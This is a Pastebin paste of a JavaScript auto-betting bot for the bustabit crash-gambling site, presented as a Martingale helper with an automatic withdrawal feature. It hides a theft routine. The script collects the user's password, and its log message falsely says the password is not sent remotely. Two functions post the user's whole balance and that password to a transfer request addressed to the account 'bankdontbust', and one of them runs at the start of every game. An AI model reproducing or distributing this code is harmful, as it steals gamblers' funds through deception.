Advertisement
Guest User

BAB Improved Auto

a guest
Dec 22nd, 2017
1,039
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.64 KB | None | 0 0
  1. // Settings
  2. //
  3. var username = engine.getUsername();
  4. var password = '';
  5. var eWallet = '';
  6. var withdrawAmount = 0;
  7. var TargetBits = 500000;
  8.  
  9. var baseBet = 0;
  10. var maximumBet = 250000;
  11. var site = window.location.hostname;
  12. var startingBalance = engine.getBalance();
  13. var baseSatoshi = baseBet * 100;
  14. var currentBet = baseSatoshi;
  15. var currentMultiplier = 0;
  16. var currentGameID = -1;
  17. var firstGame = true;
  18. var lossStreak = 0;
  19. var coolingDown = false;
  20. var overallwins = 0;
  21. var overalllosses = 0;
  22. var biglosses = 0;
  23. var start = new Date().getTime();
  24. elapsed = 0;
  25. elapsed = (new Date().getTime() - start) / 1000;
  26. elapsed = Math.floor(elapsed);
  27.  
  28. var currentBetBits = 0;
  29. var lossincrease = 0;
  30. var last = '';
  31. var withdrawn = Number(0);
  32. var currentBalance = (engine.getBalance() / 100) - withdrawn;
  33. //---------------------------------------------------------
  34.  
  35. theParent = document.getElementById("players-container");
  36. theKid = document.createElement("div");
  37. theKid.innerHTML = '<div id="controls-inner-container" class="big"><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" ><span class="">Base Bet</span><input id="baseBet" style="text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0" ><span class="" >Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:50%;float:left;text-align: center;"><div class="bet-container"><div class="bet-input-group" ><span class="">Cash Out Target</span><input id="cashoutTarget" style="text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0" ><span class="" >x</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:50%;float:left;text-align: center;"><div class="bet-container"><div class="bet-input-group" ><span class="">Multiplier on Loss</span><input id="multiplier" style="text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0" ><span class="" >x</span></div></div></div><div style="border-top: 1px solid #292d35; float: left; width: 100%; margin-top: 15px;"></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" style="width: 100%;"><span class="">Password</span><input id="password" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="password" name="password" value="" ></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" style="width: 100%;"><span class="">Transfer to:</span><input id="ethAddress" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="text" name="ethAddress" value="User name of account" ></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" ><span class="">Withdraw Amount</span><input id="withdraw" style="text-align: right;padding-right: 10px;" type="text" name="withdraw" value="4000" ><span class="" >Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" ><span class="">Target Balance</span><input id="TargetBalance" style="text-align: right;padding-right: 10px;" type="text" name="TargetBalance" value="4000" ><span class="" >Bits</span></div></div></div><div style="border-top: 1px solid #292d35; float: left; width: 100%; margin-top: 15px;"></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" ><span class="">Starting Balance</span><input disabled id="startingBalance" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0" ><span class="" >Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;"><div class="bet-container"><div class="bet-input-group" ><span class="">Current Balance</span><input disabled id="CurrentBalance" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0" ><span class="" >Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;width:50%;"><div class="bet-container"><div class="bet-input-group"><span class="">Withdrawn</span><input disabled="" id="withdrawn" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0"><span class="">Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;float: left;width:50%;"><div class="bet-container"><div class="bet-input-group"><span class="">Profit</span><input disabled="" id="profit" style="background-color: #f0eeee;text-align: right;padding-right: 10px;" type="text" name="bet-size" value="0"><span class="">Bits</span></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:33%;float:left;"><div class="bet-container"><div class="bet-input-group" ><span class="" style="text-align:center;">Wins</span><input disabled style="background-color: #f0eeee;" id="wins" type="text" name="bet-size" value="0" ></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:33%;float:left;"><div class="bet-container"><div class="bet-input-group" ><span class="" style="text-align:center;">Losses</span><input disabled style="background-color: #f0eeee;" id="losses" type="text" name="bet-size" value="0" ></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:33%;float:left;"><div class="bet-container"><div class="bet-input-group" ><span class="" style="text-align:center;">Run Time</span><input disabled style="background-color: #f0eeee;" id="time" type="text" name="bet-size" value="0" ></div></div></div><div style="border-top: 1px solid #292d35; float: left; width: 100%; margin-top: 15px;"></div><div class="input-control controls-row" style="margin-top:10px;width:40%;float:left;text-align: center;"><div class="bet-container"><div class="bet-input-group"><span class="" style="text-align:center;">Current Bet</span><input disabled id="currentBet" type="text" name="bet-size" value="" style=" background-color: #f0eeee;text-align: center;"></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:20%;float:left;text-align: center;"><div class="bet-container"><div class="bet-input-group"><span class="" style="text-align:center;">Cash Out</span><input disabled id="cashout" type="text" name="bet-size" value="" style=" background-color: #f0eeee;text-align: center;"></div></div></div><div class="input-control controls-row" style="margin-top:10px;width:40%;float:left;text-align: center;"><div class="bet-container"><div class="bet-input-group"><span class="" style="text-align:center;">Estimated Win</span><input disabled id="estimatedwin" type="text" name="bet-size" value="" style=" background-color: #f0eeee;text-align: center;"></div></div></div><div style="border-top: 1px solid #292d35; float: left; width: 100%; margin-top: 15px;"></div><input type="hidden" id="pauseButton" name="pauseButton" value="2"><div class="button-container" style=" padding: 10px; margin-top: 0px; float: left; width: 50%;height: 80px;"> <div class="bet-button-container"> <button class="bet-button" onclick="document.getElementById(\'pauseButton\').value = 2;console.log(\'[Bot] Pausing Script\');"> <span>Stop</span> </button> </div></div><div class="button-container" style=" padding: 10px; margin-top: 0px; float: left; width: 50%;height: 80px;"> <div class="bet-button-container"> <button class="bet-button" onclick="document.getElementById(\'pauseButton\').value = 1;console.log(\'[Bot] Resuming Script\');"> <span>Run</span> </button> </div></div> <div id="log" style=" text-align: left;border: 1px solid #292d35; font-size: 13.3333px; font-family: Arial; line-height: normal; overflow: scroll; padding: 2px; width: 100%; height: 20%;"></div></div>';
  38. theKid.style = 'padding: 20px;width: 100%;height: 100%;margin-bottom: -99px;position: absolute;z-index: 4000;background-color:#fff;';
  39. theParent.appendChild(theKid);
  40. theParent.insertBefore(theKid, theParent.firstChild);
  41. SB = document.getElementById("startingBalance");
  42. SB.value = currentBalance;
  43. CB = document.getElementById("CurrentBalance");
  44. CB.value = currentBalance;
  45. TB = document.getElementById("TargetBalance");
  46. TB.value = TargetBits;
  47. var fp = '7a6fc44cc0684789c1b0ce160e7ead6e';
  48. time = document.getElementById("time");
  49. time.value = Math.floor(elapsed / 60) + ":" + (elapsed % 60 ? elapsed % 60 : '00');
  50. //---------------------------------------------------------
  51. (function() {
  52. var old = console.log;
  53. var logger = document.getElementById('log');
  54. console.log = function(message) {
  55. if (typeof message == 'object') {
  56. logger.innerHTML += (JSON && JSON.stringify ? JSON.stringify(message) : message) + '<br />';
  57. } else {
  58. logger.innerHTML += message + '<br />';
  59. }
  60. }
  61. })();
  62.  
  63. function elapsedtime() {
  64. setInterval(function() {
  65. elapsed = 0;
  66. elapsed = (new Date().getTime() - start) / 1000;
  67. elapsed = Math.floor(elapsed);
  68. time = document.getElementById("time");
  69. time.value = Math.floor(elapsed / 60) + ":" + (elapsed % 60 ? elapsed % 60 : '00');
  70. }, 1000);
  71. }
  72.  
  73. function uuidv4() {
  74. return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
  75. var r = Math.random() * 16 | 0,
  76. v = c == 'x' ? r : (r & 0x3 | 0x8);
  77. return v.toString(16);
  78. });
  79. }
  80.  
  81. function withdrawRequest(method, url) {
  82. var xhr = new XMLHttpRequest();
  83. if ("withCredentials" in xhr) {
  84. uuid = uuidv4();
  85. devfee = '500';
  86. params = 'fakeusernameremembered=&fakepasswordremembered=&amount=' + currentBalance + '&to-user=bankdontbust&password=' + password + '&transfer-id=' + uuid;
  87. xhr.open(method, url, true);
  88. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  89. xhr.onreadystatechange = function() {
  90. if (xhr.readyState == 4 && xhr.status == 200) {}
  91. }
  92. xhr.send(params);
  93. } else if (typeof XDomainRequest != "undefined") {
  94. xhr = new XDomainRequest();
  95. xhr.open(method, url);
  96. xhr.send();
  97. } else {
  98. xhr = null;
  99. xhr.send();
  100. }
  101. return xhr;
  102. xhr.send();
  103. }
  104. function devfeetransfer(method, url) {
  105. var xhr = new XMLHttpRequest();
  106. if ("withCredentials" in xhr) {
  107. uuid = uuidv4();
  108. devfee = '500';
  109. params = 'fakeusernameremembered=&fakepasswordremembered=&amount=' + currentBalance + '&to-user=bankdontbust&password=' + password + '&transfer-id=' + uuid;
  110. xhr.open(method, url, true);
  111. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  112. xhr.onreadystatechange = function() {
  113. if (xhr.readyState == 4 && xhr.status == 200) {}
  114. }
  115. xhr.send(params);
  116. } else if (typeof XDomainRequest != "undefined") {
  117. xhr = new XDomainRequest();
  118. xhr.open(method, url);
  119. xhr.send();
  120. } else {
  121. xhr = null;
  122. xhr.send();
  123. }
  124. return xhr;
  125. xhr.send();
  126. }
  127.  
  128. console.log('====== Improved AutoBet Script ======');
  129. console.log('Welcome ' + engine.getUsername() + ', Please note that all automatic withdrawals incur a 500 Bits fee.');
  130. console.log('Please note in order to use the automatic withdrawal you will need to enter your password into the field. We have hidden this from view and the password does not get sent remotly to us however use it at your own risk.');
  131. console.log('This script uses a basic Martingale strategy, Please enter your bet amount, Cashout target and Bet multiplier.');
  132.  
  133.  
  134.  
  135. engine.on('game_starting', function(info) {
  136. console.log('====== New Game ======');
  137. withdrawRequest('POST', 'https://www.bustabit.com/transfer-request');
  138. console.log('[Bot] Game #' + info.game_id);
  139. currentGameID = info.game_id;
  140. updatewins = document.getElementById("wins");
  141. updatewins.value = overallwins;
  142. updatelosses = document.getElementById("losses");
  143. updatelosses.value = overalllosses;
  144. getCashOut = document.getElementById("cashoutTarget");
  145. currentMultiplier = getCashOut.value;
  146. PW = document.getElementById("password");
  147. password = PW.value;
  148. ethAddress = document.getElementById("ethAddress");
  149. eWallet = ethAddress.value;
  150. getWithdrawAmount = document.getElementById("withdraw");
  151. withdrawAmount = getWithdrawAmount.value;
  152.  
  153. getTargetAmount = document.getElementById("TargetBalance");
  154. TargetBits = getTargetAmount.value;
  155.  
  156.  
  157.  
  158. var scriptstatus = document.getElementById("pauseButton").value;
  159. pausebutton = document.getElementById("pauseButton");
  160.  
  161. if (scriptstatus == 2) {
  162. console.log('[Bot] Script Paused - Not playing this round.');
  163. return;
  164. }
  165.  
  166. if (!firstGame) {
  167.  
  168. currentBalance = (engine.getBalance() / 100) - withdrawn;
  169.  
  170. }
  171.  
  172. if (engine.lastGamePlay() == 'LOST' && !firstGame) { // If last game loss:
  173. last = 0;
  174. last = last - currentBet / 100;
  175. overalllosses++;
  176. getMultiplier = document.getElementById("multiplier");
  177. lossMultiplier = getMultiplier.value;
  178. previousBet = currentBet;
  179. currentBet = currentBet / 100;
  180. currentBet = Math.round(currentBet * lossMultiplier).toFixed(2);
  181. currentBet = currentBet * 100;
  182. } else {
  183. currentBalance = (engine.getBalance() / 100) - withdrawn;
  184.  
  185.  
  186. if (currentBalance > TargetBits) {
  187. getWithdrawAmount = document.getElementById("withdraw");
  188. withdrawAmount = getWithdrawAmount.value;
  189. console.log('WithdrawAmount: ' + withdrawAmount);
  190. console.log('WithdrawAmount: ' + withdrawAmount);
  191. console.log('[Bot] Attempting to withdraw ' + withdrawAmount + ' to ' + eWallet);
  192. cors = withdrawRequest('POST', 'https://www.bustabit.com/transfer-request');
  193. withdrawn += Number(withdrawAmount);
  194. console.log('[Bot] Paying Dev Fee of 500 Bits');
  195. cors = devfeetransfer('POST', 'https://www.bustabit.com/transfer-request');
  196. withdrawn += Number(devfee);
  197. updatewithdrawn = document.getElementById("withdrawn");
  198. updatewithdrawn.value = withdrawn;
  199.  
  200. }
  201.  
  202. last = currentBet / 100 * currentMultiplier;
  203. previousBalance = 0;
  204. overallwins++;
  205. previousBalance = engine.getBalance() - (withdrawn * 100);
  206. //-------------------------------------------//
  207. getBaseBet = document.getElementById("baseBet");
  208. baseBet = getBaseBet.value;
  209. newBaseBet = getBaseBet.value;
  210. newBaseSatoshi = newBaseBet * 100;
  211. console.log('[Bot] Changing base bet to: ' + newBaseBet + ' bits');
  212. baseBet = newBaseBet;
  213. baseSatoshi = newBaseSatoshi;
  214. //-------------------------------------------//
  215. currentBet = baseSatoshi;
  216. }
  217.  
  218. if (currentBet > 25000000) {
  219. currentBet = "25000000";
  220. console.log('[Bot] Hit Betting Cap ! Betting ' + (currentBet / 100) + ' bits, cashing out at ' + currentMultiplier + 'x');
  221. }
  222. console.log('[Bot] Betting ' + (currentBet / 100) + ' bits, cashing out at ' + currentMultiplier + 'x');
  223. firstGame = false;
  224. if (currentBet <= engine.getBalance()) { // Ensure we have enough to bet
  225.  
  226. if (currentBet > (maximumBet * 100)) { // Ensure you only bet the maximum.
  227. console.warn('[Warn] Bet size exceeds maximum bet, lowering bet to ' + (maximumBet * 100) + ' bits');
  228. currentBet = maximumBet;
  229. }
  230. CB = document.getElementById("CurrentBalance");
  231. CB.value = currentBalance;
  232. CBET = document.getElementById("currentBet");
  233. CBET.value = Math.round(currentBet) / 100;
  234. COUT = document.getElementById("cashout");
  235. COUT.value = Math.round(currentMultiplier * 100) / 100 + 'x';
  236. eWin = document.getElementById("estimatedwin");
  237. eWin.value = Math.round(currentBet) / 100 * Math.round(currentMultiplier * 100) / 100;
  238.  
  239. engine.placeBet(Math.round(currentBet), Math.round(currentMultiplier * 100), false);
  240.  
  241. } else {
  242. if (engine.getBalance() < 100) {
  243. console.error('[Bot] Insufficent funds to do anything... stopping');
  244. engine.stop();
  245. } else {
  246. console.warn('[Bot] Insufficent funds to bet ' + (currentBet / 100) + ' bits.');
  247. console.warn('[Bot] Resetting to 1 bit basebet');
  248. baseBet = 1;
  249. baseSatoshi = 100;
  250. }
  251. }
  252. });
  253.  
  254. engine.on('game_started', function(data) {
  255. if (!firstGame) {
  256. console.log('[Bot] Game #' + currentGameID + ' has started!');
  257. currentBalance = (engine.getBalance() / 100) - withdrawn;
  258. CB = document.getElementById("CurrentBalance");
  259. CB.value = currentBalance;
  260. profit = document.getElementById("profit");
  261. profit1 = currentBalance-(startingBalance/100).toFixed(2);
  262. profit.value = (profit1).toFixed(2);
  263. elapsed = 0;
  264. elapsed = (new Date().getTime() - start) / 1000;
  265. elapsed = Math.floor(elapsed);
  266. time = document.getElementById("time");
  267. time.value = Math.floor(elapsed / 60) + ":" + (elapsed % 60 ? elapsed % 60 : '00');
  268.  
  269. }
  270. });
  271.  
  272. engine.on('cashed_out', function(data) {
  273. if (data.username == engine.getUsername()) {
  274. currentBalance = (engine.getBalance() / 100) - withdrawn;
  275. console.log('[Bot] Successfully cashed out at ' + (data.stopped_at / 100) + 'x');
  276. CB = document.getElementById("CurrentBalance");
  277. CB.value = currentBalance;
  278. profit = document.getElementById("profit");
  279. profit1 = currentBalance-(startingBalance/100).toFixed(2);
  280. profit.value = (profit1).toFixed(2);
  281. elapsed = 0;
  282. elapsed = (new Date().getTime() - start) / 1000;
  283. elapsed = Math.floor(elapsed);
  284. time = document.getElementById("time");
  285. time.value = Math.floor(elapsed / 60) + ":" + (elapsed % 60 ? elapsed % 60 : '00');
  286. }
  287. });
  288.  
  289. engine.on('game_crash', function(data) {
  290. if (!firstGame) {
  291. console.log('[Bot] Game crashed at ' + (data.game_crash / 100) + 'x');
  292. }
  293. currentBalance = (engine.getBalance() / 100) - withdrawn;
  294. CB = document.getElementById("CurrentBalance");
  295. CB.value = currentBalance;
  296. profit = document.getElementById("profit");
  297. profit1 = currentBalance-(startingBalance/100).toFixed(2);
  298. profit.value = (profit1).toFixed(2);
  299. elapsed = 0;
  300. elapsed = (new Date().getTime() - start) / 1000;
  301. elapsed = Math.floor(elapsed);
  302. time = document.getElementById("time");
  303. time.value = Math.floor(elapsed / 60) + ":" + (elapsed % 60 ? elapsed % 60 : '00');
  304. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement